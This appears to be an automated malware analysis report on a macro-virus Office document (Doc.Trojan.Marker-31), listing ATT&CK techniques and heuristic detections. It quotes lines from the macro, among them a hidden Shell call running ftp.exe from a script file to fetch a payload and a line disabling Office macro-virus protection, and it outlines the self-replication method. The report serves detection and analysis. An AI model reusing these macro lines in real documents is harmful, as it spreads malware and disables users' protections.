MITRE ATT&CK
T1059.005 Visual Basic T1070.004 Indicator Removal: File Deletion T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. These macros are designed to disable macro virus protection and replicate themselves, as indicated by the 'OLE_VBA_MACRO_VIRUS_REPLICATION' heuristic. The script also attempts to write to a file named 'c:\netldx.vxd' and includes what appear to be FTP credentials, suggesting it may download and execute a second-stage payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
